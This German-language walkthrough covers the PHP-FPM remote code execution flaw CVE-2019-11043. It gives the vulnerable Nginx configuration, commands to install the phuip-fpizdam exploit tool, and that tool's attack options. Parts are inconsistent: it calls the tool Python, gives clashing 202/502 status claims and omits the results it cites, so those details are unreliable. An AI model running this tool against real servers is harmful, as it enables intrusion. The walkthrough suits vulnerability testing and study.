
PHP-FPM Remote Code Execution Schwachstelle (CVE-2019-11043) Proof of Concept (PoC) in Python
Wenn Nginx fastcgi_split_path_info bei Anfragen mit %0a verarbeitet, wird PATH_INFO aufgrund des Zeilenumbruchs \n leer. PHP-FPM weist einen logischen Fehler auf, wenn PATH_INFO leer ist. Durch geschickte Konstruktion und Ausnutzung kann ein Angreifer eine Remote-Code-Ausführung erreichen.
Server mit Nginx + php-fpm, die folgende Konfiguration verwenden, können potenziell von dieser Remote-Code-Ausführung betroffen sein:
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
}
phuip-fpizdam-Skriptphuip-fpizdam (Mac)go get github.com/neex/phuip-fpizdam
go install github.com/neex/phuip-fpizdam
➜ ~ cd ./go
➜ go go get github.com/neex/phuip-fpizdam
➜ go go install github.com/neex/phuip-fpizdam
➜ go ls
bin src
➜ go cd bin
➜ bin ls
phuip-fpizdam
➜ bin file phuip-fpizdam
phuip-fpizdam: Mach-O 64-bit executable x86_64
➜ bin ls -lah phuip-fpizdam
-rwxr-xr-x 1 alewong staff 9.3M 10 24 10:54 phuip-fpizdam

bin ./phuip-fpizdam
Ausgabe:
Error: accepts 1 arg(s), received 0
Usage:
phuip-fpizdam [url] [flags]
Flags:
--cookie string send this cookie
-h, --help help for phuip-fpizdam
--kill-count int how many times to send the worker killing payload (default 50)
--kill-workers just kill php-fpm workers (requires only QSL)
--method string detect method (see detect_methods.go) (default "session.auto_start")
--only-qsl stop after QSL detection, use this if you just want to check if the server is vulnerable
--pisos int pisos hint
--qsl int qsl hint
--reset-retries int how many retries to do for --reset-setting, -1 means a lot (default 50)
--reset-setting try to reset setting (requires attack params)
--setting string specify custom php.ini setting for --reset-setting
--skip-attack skip attack phase
--skip-detect skip detection phase
2019/10/24 10:56:18 accepts 1 arg(s), received 0
Man kann sehen, dass der Rückgabewert 202 ist – erfolgreich.



Skript-Logik: Wenn der Q-Schwellenwert (z. B. 1800) erreicht wird, wird ein 502 zurückgegeben, was das Vorhandensein der Schwachstelle beweist.
Ausführungsergebnis:

Konsistent mit dem Ergebnis von Burp Suite:
